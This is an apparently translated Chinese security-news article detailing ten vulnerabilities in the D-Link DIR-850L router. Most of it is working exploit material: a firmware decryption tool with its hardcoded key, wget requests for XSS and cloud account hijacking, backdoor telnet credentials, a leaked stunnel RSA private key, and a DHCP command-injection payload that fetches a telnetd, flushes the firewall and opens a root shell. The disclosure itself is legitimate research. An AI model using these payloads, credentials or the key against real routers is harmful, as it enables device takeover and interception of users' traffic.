D-link 10个0Day漏洞分析（附细节） - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
D-link 10个0Day漏洞分析（附细节）
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安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题，包括XSS攻击，缺乏应有的固件保护，后门和root提权等。这10个安全问题分别是：
Firmware。对firmware缺乏足够的安全保护。
XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。
Retrieving admin password。攻击者可以提取admin的口令，利用MyDlink云协议添加攻击者帐号到路由器，来获取路由器的控制权；
Weak Cloud protocol。MyDlink协议基于TCP，路由器和MyDlink账户之间的通信没有加密
Backdoor access。存在后门，攻击者可以获取root权限。
Stunnel private keys。加密私钥硬编码在固件中，攻击者提取后可以执行中间人攻击。
Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求，转发流量等方式改变路由器的DNS配置。
Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。
Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能，攻击者可以用来获取设备的root权限。
DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。
以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。
Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护，攻击者可以伪造一个新的固件镜像。
Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin，DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。
研究者用下面的程序来解密固件镜像。
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l & DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
#include &sys/types.h&
#include &sys/stat.h&
#include &fcntl.h&
#include &unistd.h&
#include &stdio.h&
#include &string.h&
#include &stdlib.h&
#define USAGE "Usage: decimg &filename& &key&\n"
int main(int
fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3)
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
if ((fi = open(argv[1], O_RDONLY)) == -1)
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
const char *key = argv[2];
int kl = strlen(key);
char buffer[4096];
len = read(fi, buffer, 4096);
if (len &= 0)
for (j = 0; j & j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
write(fo, buffer, len);
return (EXIT_SUCCESS);
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l & DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
HEXADECIMAL
DESCRIPTION
--------------------------------------------------------------------------------
DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
PackImg section delimiter tag, little endian size:
big endian size: 8298496 bytes
Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created:
通过以上我们可以发现，并没有对固件镜像进行保护。
下面披露上面提到漏洞的相关细节。
XSS漏洞细节
通过分析/htdocs/web文件夹下的php文件，我们可以发现XSS漏洞的细节。
攻击者通过XSS漏洞来写去认证用户的认证cookies。
/htdocs/web/wpsacts.php文件:
user@kali:~/petage-dlink$ wget -qO- --post-data='action=&a&' http://ip:port/wpsacts.php
&?xml version="1.0" encoding="utf-8"?&
&wpsreport&
&action&&a&&/action&
&result&&/result&
&reason&&/reason&
&/wpsreport&
user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
&wpsreport&
&action&&?echo $_POST["action"];?&&/action&
/htdocs/web/shareport.php文件中的XSS代码:
&action&&?echo $_POST["action"];?&&/action&
/htdocs/web/sitesurvey.php文件中的XSS代码:
&action&&?echo $_POST["action"];?&&/action&
/htdocs/web/wandetect.php文件中的XSS代码:
&action&&?echo $_POST["action"];?&&/action&
/htdocs/web/wpsacts.php文件中的XSS代码:
&action&&?echo $_POST["action"];?&&/action&
Retrieving admin password细节
并不对用户进行认证，攻击者可以利用该网页的漏洞获取设备的控制权。
攻击者可以用 /register_send.php 页面进行以下操作:
创建MyDlink Cloud账户；
利用创建的账户登入设备；
把设备加入账户中。
攻击场景重现:
作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。
$devpasswd = query("/device/account/entry/password"); &- $devpasswd contains the password
$action = $_POST["act"];
of the device
178 //sign up
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
"&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
183 $post_url_signup = "/signin/";
185 $action_signup = "signup";
187 //sign in
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
191 $post_url_signin = "/account/?signin";
193 $action_signin = "signin";
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
199 $post_url_adddev = "/account/?add";
201 $action_adddev = "adddev";
203 //main start
204 if($action == $action_signup)
&---- first request
$post_str = $post_str_
$post_url = $post_url_
$withcookie = "";
//signup dont need cookie info
210 else if($action == $action_signin)
&---- second request
$post_str = $post_str_
$post_url = $post_url_
$withcookie = "\r\nCookie: lang= mydlink=pr2c11jl60i21v9t5go2fvcve2;";
216 else if($action == $action_adddev)
&---- 3rd request
$post_str = $post_str_
$post_url = $post_url_
向路由器发送3个HTTP请求来利用该漏洞：
第一个请求 (signup)会在MyDlink服务上创建一个用户:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php
&?xml version="1.0"?&
&register_send&
&result&success&/result&
&url&http://mp-us-portal.auto.mydlink.com&/url&
&/register_send&
该请求被发送给MyDlink Cloud APIs:
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
"&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
第二个请求 (signin)路由器会将该账户与新创建的用户相关联，但不激活：
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php
&?xml version="1.0"?&
&register_send&
&result&success&/result&
&url&http://mp-us-portal.auto.mydlink.com&/url&
&/register_send&
该请求被发送给 MyDlink Cloud APIs:
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
第三个请求是把设备和dlink服务相管理，并发送设备口令给远程API。
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php
&?xml version="1.0"?&
&register_send&
&result&success&/result&
&url&http://mp-us-portal.auto.mydlink.com&/url&
&/register_send&
该请求被发送给 MyDlink Cloud APIs:
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
"&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
用注册的邮箱和口令登录 ，登录后看到的通用管理选项：
通过分析这些HTTP请求，我们可以获取目标路由器的信息。
PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。
这张图的最后是一个 GET 请求
https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN
{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]}
回应是明文(含有设备口令)：
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
GET 请求可以用来提取口令：
回应是一样的，之前的明文口令和新的口令（admin口令）：
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
最后一个请求是询问关于浏览器和远程路由器之间的通道的：
发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息：
https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE
监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL)：
访问 。 我们发现流量通过云协议被发送到远程路由器。
利用该泄露的口令，攻击者可以黑掉路由器，并把该路由器的固件更新为留有后门的固件。
Weak Cloud protocol
MyDlink Cloud协议没有加密机制，只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。
理想状态下，用户可以利用rgbin来修改设备的MAC地址：
# /usr/sbin/devdata dump # will dump all the configuration
# /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface
该程序只覆写 /dev/mtdblock/4 的文件。
该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS，路由器，摄像头等。
wireshark抓包（明文和自签名流量） ：
Backdoor access细节
revB镜像中，如果重设设备， /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行：
mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh
echo [$0]: $1 ... & /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
mfcd -i br0 -t 99999 &
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
killall mfcd
攻击者可以获取设备的root shell权限：
user@kali:~/petage-dlink$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Login: Alphanetworks
Password: wrgac25_dlink.2013gui_dir850l
BusyBox v1.14.1 ( 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# echo what
Stunnel private keys细节
密钥通过硬编码方式保存在固件中。管理通过HTTPS方式，攻击者可以发起SSL中间人攻击。细节如下：
# ls -la /etc/stunnel.key
-rwxr-xr-x
1679 Jan 20
2017 /etc/stunnel.key
# cat /etc/stunnel.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk
MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O
g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau
j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE
ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI
kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+
uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN
vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS
3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb
b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h
IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1
t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo
MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF
rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1
CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC
n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2
a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I
eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/
I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA
S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b
gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/
C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM
Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb
MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ
1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg==
-----END RSA PRIVATE KEY-----
# cat /etc/stunnel_cert.pem
Certificate:
Version: 3 (0x2)
Serial Number:
87:6f:88:76:87:df:e7:78
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost
Not Before: Feb 22 06:04:36 2012 GMT
Not After : Feb 17 06:04:36 2032 GMT
Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:
fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:
35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:
c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:
79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:
44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:
e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:
15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:
ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:
4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:
9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:
19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:
84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:
01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:
9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:
98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:
ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:
Exponent: 601)
X509v3 extensions:
X509v3 Basic Constraints:
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01
X509v3 Authority Key Identifier:
keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2
Signature Algorithm: sha1WithRSAEncryption
3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:
88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:
21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:
e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:
ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:
fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:
12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:
e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:
49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:
03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:
8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:
71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:
88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:
b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:
7e:d3:01:13
-----BEGIN CERTIFICATE-----
MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV
BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM
BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT
d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0
MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI
c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H
ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z
dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD
/pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D
9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l
l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q
7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft
e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH
ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz
0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB
BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl
UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2
84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj
346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o
docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK
L0K03Bik6/rxBA6n4v9drM1hKAF+0wET
-----END CERTIFICATE-----
Nonce bruteforcing for DNS configuration细节
htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息，并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证，攻击者可以采取暴力方式破解nonce。
8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")
$Response="BindError";
13 else if(query("/runtime/device/uptime") & $uptime_limit)
$Response="BindTimeout";
攻击者定义新的DNS服务器：
set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);
set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);
set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);
攻击者可以用vuln来转发流量到自己控制的服务器。
Weak files permission and credentials stored in cleartext细节
一些文件权限较弱：
1. /var/passwd
/var/passwd 明文保存用户证书，而该文件权限是-rw-rw-rw- (666)。
# ls -la /var/passwd
-rw-rw-rw-
1 00:00 /var/passwd
# cat /var/passwd
"Admin" "password" "0"
2. /var/etc/hnapasswd
攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码，/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)
# cat /var/etc/hnapasswd
Admin:password
# ls -la /var/etc/hnapasswd
-rw-rw-rw-
1 00:00 /var/etc/hnapasswd
3. /etc/shadow
/etc/shadow 的权限是rwxrwxrwx（777）
# ls -al /etc/shadow
lrwxrwxrwx
2017 /etc/shadow -& /var/etc/shadow
# ls -la /var/etc/shadow
-rw-r--r--
1 00:00 /var/etc/shadow
/var/etc/shadow 内有管理用户的DES哈希值。
# cat /var/etc/shadow
root:!:99:7:::
nobody:!:99:7:::
Admin:zVc1PPVw2VWMc:99:7:::
4. /var/run/storage_account_root
/var/run/storage_account_root 含有明文证书。
/var/passwd 文件权限是 -rw-rw-rw- (666)
# ls -la /var/run/storage_account_root
-rw-rw-rw-
1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root
admin:password,:::
jean-claude:dusse,:::
5. /var/run/hostapd*
/var/run/hostapd* 含有 明文的无线密码，文件权限是-rw-rw-rw- (666)
# ls -la /var/run/hostapd*
-rw-rw-rw-
1 00:00 /var/run/hostapd-wlan1wps.eap_user
-rw-rw-rw-
1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw-
1 00:00 /var/run/hostapd-wlan0wps.eap_user
-rw-rw-rw-
1 00:00 /var/run/hostapd-wlan0.conf
# cat /var/run/hostapd*|grep -i pass
wpa_passphrase=aaaaa00000
wpa_passphrase=aaaaa00000
Pre-Auth RCEs as root (L2)细节
路由器上的DHCP客户端易受到命令注入攻击。
dhcpd.conf文件:
rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf
option domain-name ";wget -O /var/re http://10.254.239.1/dhcp- sh /var/";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
ddns-update-
subnet 10.254.239.0 netmask 255.255.255.224 {
range 10.254.239.10 10.254.239.20;
option routers 10.254.239.1;
rasp-pwn-dlink# ifconfig eth1
Link encap:Ethernet
HWaddr 00:0e:c6:aa:aa:aa
inet addr:10.254.239.1
Bcast:10.254.239.255
Mask:255.255.255.0
inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets:129 errors:0 dropped:0 overruns:0 frame:0
TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1 KiB)
TX bytes:4 KiB)
rasp-pwn-dlink# cat /var/www/html/dhcp-rce
wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &
rasp-pwn-dlink# dhcpd eth1
Internet Systems Consortium DHCP Server 4.3.1
Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on
LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on
Socket/fallback/fallback-net
rasp-pwn-dlink#
开机后发送DHCP请求，路由器会与WAN远程HTTP服务器发起连接：
rasp-pwn-dlink# tail -f /var/log/nginx/access.log
10.254.239.10 - - [03/Jul/:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
10.254.239.10 - - [03/Jul/:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
来自WAN 的telnetd:
rasp-pwn-dlink# telnet 10.254.239.10 110
Trying 10.254.239.10...
Connected to 10.254.239.10.
Escape character is '^]'.
BusyBox v1.14.1 ( 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# uname -ap
Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux
drwxr-xr-x
1 00:00 etc
drwxr-xr-x
drwxr-xr-x
1 00:00 run
drwxr-xr-x
1970 sealpac
drwxr-xr-x
1 00:00 tmp
drwxr-xr-x
drwxr-xr-x
1970 htdocs
-rw-r--r--
drwxr-xr-x
1 00:00 servd
-rw-r--r--
1970 default_wifi.xml
-rw-rw-rw-
1 00:00 passwd
drwxrwx---
1 00:00 session
srwxr-xr-x
1 00:00 gpio_ctrl
-rw-r--r--
1 00:00 sys_op
drwxr-xr-x
1 00:00 home
lrwxrwxrwx
1 00:00 portal_share -& /var/tmp/storage
drwxr-xr-x
1 00:00 proc
-rwxr-xr-x
1 00:00 killrc0
drwxr-xr-x
1 00:00 porttrigger
-rw-r--r--
1 00:00 re
-rwxrwxrwx
1 00:00 telnetd-dhcpd-wan
-rw-rw-rw-
1 00:00 rendezvous.conf
-rw-rw-rw-
1 00:00 stunnel.conf
-rw-rw-rw-
1 00:00 topology.conf
-rw-rw-rw-
1 00:00 lld2d.conf
-rw-r--r--
1 00:00 hosts
drwxr-xr-x
241 Jan 20
